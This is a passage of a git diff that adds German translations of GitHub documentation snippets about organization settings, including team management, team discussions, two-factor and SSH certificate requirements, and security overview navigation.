+1. Um optional von den Mitgliedern zu verlangen, SSH-Zertifikate zu verwenden, wähle **SSH-Zertifikate verlangen** aus, und klicke dann auf **Speichern**.
+    ![Kontrollkästchen „SSH-Zertifikat verlangen“ und Schaltfläche „Speichern“](/assets/images/help/organizations/require-ssh-cert.png)
diff --git a/translations/de-DE/data/reusables/organizations/require_two_factor_authentication.md b/translations/de-DE/data/reusables/organizations/require_two_factor_authentication.md
new file mode 100644
index 0000000000..dbf364db48
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/require_two_factor_authentication.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 53312c4b6c76ee95f42088cbfa0ed5b5c40661f3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107788"
+---
+1. Wähle unter „Authentifizierung“ die Option **Zweistufige Authentifizierung für alle Personen in deiner Organisation erforderlich**, und klicke dann auf **Speichern**.
+  ![Kontrollkästchen zum Anfordern von 2FA](/assets/images/help/organizations/require-2fa-checkbox.png)
diff --git a/translations/de-DE/data/reusables/organizations/reseller-ask-to-become-billing-manager.md b/translations/de-DE/data/reusables/organizations/reseller-ask-to-become-billing-manager.md
new file mode 100644
index 0000000000..0fbb0f629d
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/reseller-ask-to-become-billing-manager.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3aeebfb94e77201b11f8c404b515b451100b016d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107787"
+---
+Wenn du nicht als Abrechnungsmanager für die Organisation festgelegt bist, bitte deinen Kunden, zu veranlassen, dass ein *Besitzer* der Organisation [dich der Organisation als Abrechnungsmanager hinzufügt](/articles/adding-a-billing-manager-to-your-organization).
diff --git a/translations/de-DE/data/reusables/organizations/restrict-email-notifications.md b/translations/de-DE/data/reusables/organizations/restrict-email-notifications.md
new file mode 100644
index 0000000000..6fd6f2fe18
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/restrict-email-notifications.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: bcff5b69bba57d56224c0f12093e85ab052fe132
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107784"
+---
+1. Wähle unter „Benachrichtigungseinstellungen“ die Option **E-Mail-Benachrichtigungen nur auf genehmigte oder überprüfte Domänen beschränken** aus.
+  ![Kontrollkästchen zur Beschränkung von E-Mail-Benachrichtigungen auf E-Mails überprüfter Domänen](/assets/images/help/organizations/restrict-email-notifications-to-domain.png)
diff --git a/translations/de-DE/data/reusables/organizations/restricted-app-access-requests.md b/translations/de-DE/data/reusables/organizations/restricted-app-access-requests.md
new file mode 100644
index 0000000000..5a83ef1fc0
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/restricted-app-access-requests.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6f6126a0bca965f0299922e2bf614be2713ef80a
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106653"
+---
+Organisationsbesitzer können auswählen, ob externe Mitarbeiter Zugriff auf nicht genehmigte {% data variables.product.prodname_oauth_apps %} und {% data variables.product.prodname_github_apps %} anfordern können. Weitere Informationen findest du unter [Einschränken von OAuth-App- und GitHub-App-Zugriffsanforderungen](/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests).
diff --git a/translations/de-DE/data/reusables/organizations/review-team-repository-access.md b/translations/de-DE/data/reusables/organizations/review-team-repository-access.md
new file mode 100644
index 0000000000..36a4238ba0
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/review-team-repository-access.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 47ae3d9e663d01b976bd58902c2956930d3ba002
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107779"
+---
+1. Überprüfe die Liste der Repositorys, auf die das neue Teammitglied Zugriff hat, und klicke dann auf **_BENUTZERNAME_ zu _TEAMNAME_ hinzufügen**.
+  ![Modalfeld mit einer Liste der Repositorys, auf die das neue Teammitglied Zugriff haben wird, und Bestätigungsschaltfläche](/assets/images/help/teams/add-team-member-repo-perms.png)
diff --git a/translations/de-DE/data/reusables/organizations/security-and-analysis.md b/translations/de-DE/data/reusables/organizations/security-and-analysis.md
new file mode 100644
index 0000000000..5954398bf5
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/security-and-analysis.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Security" section of the sidebar, click **{% octicon "codescan" aria-label="The codescan icon" %} Code security and analysis**.
+{% else %}
+1. In the left sidebar, click **Security & analysis**.
+  !["Security & analysis" tab in organization settings](/assets/images/help/organizations/org-settings-security-and-analysis.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/security-manager-beta-note.md b/translations/de-DE/data/reusables/organizations/security-manager-beta-note.md
new file mode 100644
index 0000000000..833e22c5cd
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/security-manager-beta-note.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 96c2b336594178f785884289058e066406fa9d88
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147428292"
+---
+{% note %}
+
+**Hinweis:** Die Rolle des Sicherheitsmanagers befindet sich in der öffentlichen Betaversion und unterliegt Änderungen.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/organizations/security-overview-feature-specific-page.md b/translations/de-DE/data/reusables/organizations/security-overview-feature-specific-page.md
new file mode 100644
index 0000000000..b7204d51bf
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/security-overview-feature-specific-page.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 216ce76b3c1a475e5861fbd948d65783699985bd
+ms.sourcegitcommit: 094dff459fcbf7d0634930e02405606dfffd7f0a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/12/2022
+ms.locfileid: "148163155"
+---
+1. Alternativ und optional kannst du die Randleiste auf der linken Seite verwenden, um Informationen nach Sicherheitsfeature zu filtern. Auf jeder Seite kannst du für das betreffende Feature spezifische Filter verwenden, um deine Suche zu optimieren. Weitere Informationen zu den verfügbaren Qualifizierern findest du unter [Filtern von Warnungen in der Sicherheitsübersicht](/code-security/security-overview/filtering-alerts-in-the-security-overview).
diff --git a/translations/de-DE/data/reusables/organizations/security-overview.md b/translations/de-DE/data/reusables/organizations/security-overview.md
new file mode 100644
index 0000000000..a5b18b2e55
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/security-overview.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2aa66377532f53202a80fc517b88da0a3172baad
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876809"
+---
+1. Klicke unter deinem Organisationsnamen auf {% octicon "shield" aria-label="The Security shield" %} **Sicherheit**.
+![Schaltfläche „Organisationssicherheit“](/assets/images/help/organizations/organization-security-tab.png)
diff --git a/translations/de-DE/data/reusables/organizations/security.md b/translations/de-DE/data/reusables/organizations/security.md
new file mode 100644
index 0000000000..ac736ecebb
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/security.md
@@ -0,0 +1,7 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Security" section of the sidebar, click **{% octicon "shield-lock" aria-label="The shield-lock icon" %} Authentication security**.
+{% else  %}
+1. In the left sidebar, click **Organization security**.
+
+ ![Organization security settings](/assets/images/help/organizations/org-security-settings-tab.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/send-invitation.md b/translations/de-DE/data/reusables/organizations/send-invitation.md
new file mode 100644
index 0000000000..659fe8128f
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/send-invitation.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2b1c62db0ca2edd95fc996d9bc4e2bfc03be411d
+ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147885011"
+---
+1. Klicke auf {% ifversion fpt or ghec %}**Einladung senden**{% else %}**Mitglied hinzufügen**{% endif %}.
diff --git a/translations/de-DE/data/reusables/organizations/settings-sidebar-actions-general.md b/translations/de-DE/data/reusables/organizations/settings-sidebar-actions-general.md
new file mode 100644
index 0000000000..14789aea6c
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/settings-sidebar-actions-general.md
@@ -0,0 +1 @@
+{% data reusables.actions.settings-ui.settings-actions-general %}
diff --git a/translations/de-DE/data/reusables/organizations/settings-sidebar-actions-runner-groups.md b/translations/de-DE/data/reusables/organizations/settings-sidebar-actions-runner-groups.md
new file mode 100644
index 0000000000..9f8699cf3c
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/settings-sidebar-actions-runner-groups.md
@@ -0,0 +1 @@
+{% data reusables.actions.settings-ui.settings-actions-runner-groups %}
diff --git a/translations/de-DE/data/reusables/organizations/settings-sidebar-actions-runners.md b/translations/de-DE/data/reusables/organizations/settings-sidebar-actions-runners.md
new file mode 100644
index 0000000000..c667ed1528
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/settings-sidebar-actions-runners.md
@@ -0,0 +1 @@
+{% data reusables.actions.settings-ui.settings-actions-runners %}
diff --git a/translations/de-DE/data/reusables/organizations/specific_team.md b/translations/de-DE/data/reusables/organizations/specific_team.md
new file mode 100644
index 0000000000..862f21c4a4
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/specific_team.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: c31720729c3317ad6155aed73ae3de4299b89971
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109598"
+---
+1. Klicke unter deinem Organisationsnamen auf {% octicon "people" aria-label="The people icon" %} **Teams**.
+  {% ifversion fpt or ghes or ghec %} ![Registerkarte „Teams“](/assets/images/help/organizations/organization-teams-tab-with-overview.png) {% else %} ![Registerkarte „Teams“](/assets/images/help/organizations/organization-teams-tab.png) {% endif %}
+1. Auf der Registerkarte „Teams" klicke auf den Namen des Teams.
+  ![Liste der Teams der Organisation](/assets/images/help/teams/click-team-name.png)
diff --git a/translations/de-DE/data/reusables/organizations/ssh-ca-ghec-only.md b/translations/de-DE/data/reusables/organizations/ssh-ca-ghec-only.md
new file mode 100644
index 0000000000..b993fa77a0
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/ssh-ca-ghec-only.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 58a3b6ac5898fae8cb0553dc12eab983494ba856
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879132"
+---
+{% ifversion fpt or ghec %} {% note %}
+
+**Hinweis**: Um SSH-Zertifizierungsstellen zu verwenden, muss Ihre Organisation {% data variables.product.prodname_ghe_cloud %} verwenden. {% data reusables.enterprise.link-to-ghec-trial %}
+
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/team-api.md b/translations/de-DE/data/reusables/organizations/team-api.md
new file mode 100644
index 0000000000..9959963b0f
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team-api.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 93c721b3e616d3b83da5085284cd818c7df9e1ac
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107719"
+---
+Diese API ist nur für authentifizierte Mitglieder der [Organisation](/rest/reference/orgs) des Teams verfügbar. OAuth-Zugriffstoken erfordern den `read:org`-[Bereich](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). {% data variables.product.prodname_dotcom %}  generiert die `slug` des Teams über den Teamnamen (`name`).
diff --git a/translations/de-DE/data/reusables/organizations/team-discussions-are-for-orgs.md b/translations/de-DE/data/reusables/organizations/team-discussions-are-for-orgs.md
new file mode 100644
index 0000000000..c4961ce95f
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team-discussions-are-for-orgs.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 53a51343bbe72bd78f4c041727a9f32760457d9f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107716"
+---
+Teamdiskussionen sind nur auf Teamseiten in Organisationen verfügbar. Weitere Informationen findest du unter [Informationen zu Teamdiskussionen](/organizations/collaborating-with-your-team/about-team-discussions).
diff --git a/translations/de-DE/data/reusables/organizations/team-discussions-default.md b/translations/de-DE/data/reusables/organizations/team-discussions-default.md
new file mode 100644
index 0000000000..67bb9e02cb
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team-discussions-default.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9d6fc084350c491094d264566b43ce6aaa7a9218
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879236"
+---
+Teamdiskussionen sind in Organisationen standardmäßig verfügbar.
diff --git a/translations/de-DE/data/reusables/organizations/team-discussions-permissions.md b/translations/de-DE/data/reusables/organizations/team-discussions-permissions.md
new file mode 100644
index 0000000000..0701f13a5b
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team-discussions-permissions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: df7fdd93ec0af03513a4b5e97ced7c6ee4275f24
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107712"
+---
+*Private* Posts sind nur für Teammitglieder und Organisationsinhaber sichtbar, und *öffentliche* Posts sind für alle Mitglieder der Organisation sichtbar.
diff --git a/translations/de-DE/data/reusables/organizations/team-discussions-purpose.md b/translations/de-DE/data/reusables/organizations/team-discussions-purpose.md
new file mode 100644
index 0000000000..c9b6b18514
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team-discussions-purpose.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5db8536d25ed32f8f4810479d96f6fba4c2d0e72
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107711"
+---
+Auf der Seite Deines Teams kannst Du Teamdiskussionen für Unterhaltungen verwenden, die sich über Projekte oder Repositorys erstrecken und nicht zu einem bestimmten Problem oder einem Pull Request gehören. Anstatt einen Issue in einem Repository zu öffnen, um eine Idee zu diskutieren, kannst Du das gesamte Team einbeziehen, indem Du eine Unterhaltung in einer Teamdiskussion führst.
diff --git a/translations/de-DE/data/reusables/organizations/team-discussions-tab.md b/translations/de-DE/data/reusables/organizations/team-discussions-tab.md
new file mode 100644
index 0000000000..bfca3b349d
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team-discussions-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b8727cdd8af72fee81eae0f2653d75b9a04bd5ec
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107708"
+---
+1. Klicke oben auf der Seite des Teams auf {% octicon "comment-discussion" aria-label="The discussion icon" %} **Diskussionen**.
+  ![Registerkarte „Teamdiskussionen“](/assets/images/help/teams/org-team-page-discussions-tab.png)
diff --git a/translations/de-DE/data/reusables/organizations/team-repositories-tab.md b/translations/de-DE/data/reusables/organizations/team-repositories-tab.md
new file mode 100644
index 0000000000..a217b4ff23
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team-repositories-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: bc992059b28d6821a8cf98b36762bb69d99fb678
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107707"
+---
+1. Klicke oberhalb der Liste der Teammitglieder auf {% octicon "repo" aria-label="The Repository icon" %} **Repositorys**.
+  ![Registerkarte mit Teamrepositorys](/assets/images/help/organizations/team-repositories-button.png)
diff --git a/translations/de-DE/data/reusables/organizations/team-security-overview.md b/translations/de-DE/data/reusables/organizations/team-security-overview.md
new file mode 100644
index 0000000000..d555146f99
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team-security-overview.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 27682b4e0e699a410062fa152e9b2b2b3c137c46
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107704"
+---
+1. Klicke oben auf der Seite des Teams auf {% octicon "shield" aria-label="The security icon" %} **Sicherheit**.
+  ![Übersicht über Teamsicherheit](/assets/images/help/teams/org-team-page-security-overview.png)
diff --git a/translations/de-DE/data/reusables/organizations/team-synchronization.md b/translations/de-DE/data/reusables/organizations/team-synchronization.md
new file mode 100644
index 0000000000..1e82b9fd10
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team-synchronization.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7f912ced218aceed3bcab3d52ac17aba5049bfea
+ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876894"
+---
+{% ifversion fpt or ghae or ghec %} {% ifversion fpt %}Organisationen, die {% data variables.product.prodname_ghe_cloud%} verwenden, können{% else %}Du kannst{% endif %} die Teamsynchronisierung nutzen, um Organisationsmitglieder automatisch über einen Identitätsanbieter zu Teams hinzuzufügen und daraus zu entfernen. Weitere Informationen findest du unter [Synchronisieren eines Teams mit einer Identitätsanbietergruppe]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group){% ifversion fpt %} in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation.{% else %}.{% endif %} {% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/team_description.md b/translations/de-DE/data/reusables/organizations/team_description.md
new file mode 100644
index 0000000000..74464de434
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team_description.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2091f8d6b994df193541d035bedeb40faf0f72d0
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107680"
+---
+1. Gib optional im Feld „Description" (Beschreibung) eine Beschreibung des Teams ein.
+![Feld „Teambeschreibung“](/assets/images/help/teams/org-team-description.png)
diff --git a/translations/de-DE/data/reusables/organizations/team_maintainers_can.md b/translations/de-DE/data/reusables/organizations/team_maintainers_can.md
new file mode 100644
index 0000000000..cc679dea0f
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team_maintainers_can.md
@@ -0,0 +1,23 @@
+---
+ms.openlocfilehash: 91063473b138602048700554b54ff81778394656
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107679"
+---
+Mitglieder mit Team-Betreuer-Berechtigungen können folgende Aktionen durchführen:
+
+- [Ändern des Namens und der Beschreibung des Teams](/articles/renaming-a-team)
+- [Ändern der Sichtbarkeit des Teams](/articles/changing-team-visibility)
+- [Anfordern der Hinzufügung eines untergeordneten Teams](/articles/requesting-to-add-a-child-team)
+- [Anfordern der Hinzufügung oder Änderung eines übergeordneten Teams](/articles/requesting-to-add-or-change-a-parent-team)
+- [Festlegen des Teamprofilbild](/articles/setting-your-team-s-profile-picture)
+- [Bearbeiten von Teamdiskussionen](/articles/managing-disruptive-comments/#editing-a-comment)
+- [Löschen von Teamdiskussionen](/articles/managing-disruptive-comments/#deleting-a-comment)
+- [Hinzufügen von Organisationsmitgliedern zum Team](/articles/adding-organization-members-to-a-team)
+- [Entfernen von Organisationsmitgliedern aus dem Team](/articles/removing-organization-members-from-a-team)
+- [Höherstufen eines vorhandenen Teammitglieds zum Teambetreuer](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member)
+- Entfernen der Zugriffsberechtigungen des Teams für Repositorys
+- [Verwalten von Code Review-Einstellungen für das Team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team){% ifversion fpt or ghec %}
+- [Verwalten geplanter Erinnerungen für Pull Requests](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests){% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/team_members_tab.md b/translations/de-DE/data/reusables/organizations/team_members_tab.md
new file mode 100644
index 0000000000..13bbaeb1ef
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team_members_tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e2417777c4c81bf9d06b0b91fefe4e94bd953d25
+ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876905"
+---
+1. Klicke oben auf der Teamseite auf {% octicon "organization" aria-label="The members symbol" %} **Mitglieder**.
+![Registerkarte Elemente](/assets/images/help/teams/members-tab.png)
diff --git a/translations/de-DE/data/reusables/organizations/team_name.md b/translations/de-DE/data/reusables/organizations/team_name.md
new file mode 100644
index 0000000000..6347bd6022
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team_name.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 30bedf66ee77505d10e61e96cb67b125b5d4fc8d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107675"
+---
+1. Unter „Create new team" (Neues Team erstellen) gib den Namen für Dein neues Team ein.
+![Feld „Teamname“](/assets/images/help/teams/org-new-team-name.png)
diff --git a/translations/de-DE/data/reusables/organizations/team_settings.md b/translations/de-DE/data/reusables/organizations/team_settings.md
new file mode 100644
index 0000000000..a993ed5f4d
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team_settings.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d0d044be5ff247b9ad220590e3b8c21fe860f93c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107672"
+---
+1. Klicke oben auf der Teamseite auf {% octicon "gear" aria-label="The Settings gear" %} **Einstellungen**.
+![Registerkarte „Teameinstellungen](/assets/images/help/teams/team-settings-button.png)
diff --git a/translations/de-DE/data/reusables/organizations/team_visibility.md b/translations/de-DE/data/reusables/organizations/team_visibility.md
new file mode 100644
index 0000000000..f660056eab
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/team_visibility.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 67f5f07f34ba7331f72fe9ab2aaf0a16c22c95c7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107671"
+---
+1. Entscheide, ob das Team sichtbar oder geheim sein wird.
+![Optionen für Sichtbarkeit, einschließlich sichtbar und geheim](/assets/images/help/teams/new-team-visibility.png)
diff --git a/translations/de-DE/data/reusables/organizations/teams.md b/translations/de-DE/data/reusables/organizations/teams.md
new file mode 100644
index 0000000000..c39486bf11
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/teams.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 25486f3ca492d6bb988946b70cc528de177ab0bc
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109318"
+---
+1. Klicke unter deinem Organisationsnamen auf {% octicon "people" aria-label="The people icon" %} **Teams**.
+  {% ifversion fpt or ghes or ghec %} ![Teams-Registerkarte auf der Organisationsseite](/assets/images/help/organizations/organization-teams-tab-with-overview.png) {% else %} ![Teams-Registerkarte auf der Organisationsseite](/assets/images/help/organizations/organization-teams-tab.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/teams_sidebar.md b/translations/de-DE/data/reusables/organizations/teams_sidebar.md
new file mode 100644
index 0000000000..2c794e3789
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/teams_sidebar.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Access" section of the sidebar, click **{% octicon "comment-discussion" aria-label="The comment-discussion icon" %} Team discussions**.
+{% else %}
+1. In the Settings sidebar, click **Teams**.
+  ![Teams tab in the organization settings sidebar](/assets/images/help/settings/settings-sidebar-team-settings.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/types-of-team-visibility.md b/translations/de-DE/data/reusables/organizations/types-of-team-visibility.md
new file mode 100644
index 0000000000..85e239ddba
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/types-of-team-visibility.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 6d6a0678050364e945321a4b9eaf8a06cb731554
+ms.sourcegitcommit: 1671bc6dbc112c6f8db987a6aa706612d464e68e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/11/2022
+ms.locfileid: "148163015"
+---
+Teams können sichtbar oder geheim sein:
+
+- Sichtbare Teams können von jedem Organisationsmitglied [angezeigt und @mentioned](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) werden.
+- Geheime Teams sind nur für die Personen im Team und Personen mit Inhaberberechtigungen sichtbar. Du bist ideal zum Verbergen von Teams mit sensiblen Namen oder Mitgliedern, wie zum Beispiel diejenigen für die Arbeit mit externen Partnern oder Kunden. Geheime Teams können nicht unter übergeordneten Teams verschachtelt werden oder untergeordnete Teams haben.
+
+Personen, die keine Mitglieder der Organisation sind, können keine Teams anzeigen.
diff --git a/translations/de-DE/data/reusables/organizations/user_must_accept_invite_email.md b/translations/de-DE/data/reusables/organizations/user_must_accept_invite_email.md
new file mode 100644
index 0000000000..22f386643e
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/user_must_accept_invite_email.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b1941b204e6ddb26aa6a1d578dd7408882cbfcd0
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147886806"
+---
+1. Die eingeladene Person erhält per E-Mail eine Einladung zur Organisation. Sie muss die Einladung annehmen, bevor sie Mitglied der Organisation wird.
diff --git a/translations/de-DE/data/reusables/organizations/verified-domains-details.md b/translations/de-DE/data/reusables/organizations/verified-domains-details.md
new file mode 100644
index 0000000000..ea82ed0f35
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/verified-domains-details.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f91d17de8489b3a348382f36fd8c6925a06c3b31
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876917"
+---
